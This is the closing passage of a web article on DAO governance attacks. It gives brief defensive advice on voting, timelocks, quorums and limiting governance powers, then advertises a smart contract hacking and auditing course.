To safely construct your DAO: mathematically force snapshot voting, embrace uncompromising execution timelocks, scientifically model realistic quorum thresholds, explicitly cap exactly what a governance vote can physically alter in the protocol, and never assume good intentions.
In the wild west of DeFi, the very rules of the game are themselves the most profitable attack surface!
Ready to Take Your Security Web3 Journey to the Next Level?
Intellectual understanding of how a DAO gets hijacked is barely the first step. To become an intimately knowledgeable, elite smart contract auditor capable of finding these zero-days, you need genuine, hands-on experience diving deep into real exploit mechanics.
The Smart Contract Hacking course delivers:
-
320+ videos covering governance attacks, flash loans, reentrancy, oracle manipulation, and more
-
40+ hands-on exercises exploiting and securing real contracts
-
Expert instruction from JohnnyTime, Trust (#1 Code4rena warden), and Pashov
-
2,000+ member Discord for support and job opportunities
-
SSCH Certification to validate your expertise
Our students win audit contests, land security jobs, and earn significant bug bounties. See their success stories.
Sources and editorial notes
Reviewed by JohnnyTime. Last updated .
Real Dao Governance Attacks hacks to study
A stable selection of high-signal incidents linked to this attack class, ordered by reported loss and recency.
Master Dao Governance Attacks in a safe lab
Practice the exploit path, debug the vulnerable code, and learn the prevention workflow auditors use in real reviews.